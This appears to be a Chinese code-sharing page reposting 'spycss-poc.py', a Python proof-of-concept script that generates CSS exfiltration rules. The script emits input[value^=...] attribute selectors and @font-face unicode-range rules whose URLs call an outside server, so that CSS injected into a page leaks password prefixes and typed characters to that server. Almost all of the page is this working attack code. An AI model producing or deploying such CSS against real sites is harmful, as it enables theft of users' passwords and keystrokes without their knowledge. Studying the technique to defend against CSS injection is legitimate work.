生成特殊的CSS,将用户输入发送到远程服务器

python
阅读 38 收藏 0 点赞 0 评论 0

spycss-poc.py
#!/usr/bin/env python

#
# Generates:
# 1. input[value^="XXX"] rules
# 2. custom font "spyFont" 
#
# See php examples at - https://github.com/Bogdaan/spycss
# Author Novikov Bogdan <hcbogdan@gmail.com>

import itertools
from string import Template

backendUrl = 'https://spycss.hcbogdan.com'

# alphabet for static <input value="XXX" />
staticAlphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]

# Static word length
staticCombinations = 2

staticTemplate = Template('input[value^="$password"]{background:url("$backend/start/$password");}').safe_substitute(backend = backendUrl)

# generate static rules
for subset in itertools.combinations(staticAlphabet, staticCombinations):
    print(Template(staticTemplate).substitute(password = ''.join(subset)))

# alphabet for custom font
fontAlphabet = staticAlphabet

# css font name
fontName = 'spyFont'

# font styles
fontTemplate = Template('@font-face {font-family:$fontName; src:url($backend/key/$char), local(Impact); unicode-range: $codepoint;}').safe_substitute(backend = backendUrl, fontName = fontName)

# generate unicode-range rules
for char in fontAlphabet:
    codepoint = ('U+%04x' % ord(char))
    print(Template(fontTemplate).substitute(char = char, codepoint = codepoint))

print(Template('input {font-family:$fontName, sans-serif;}').safe_substitute(fontName = fontName))
评论列表


问题


面经


文章

微信
公众号

扫码关注公众号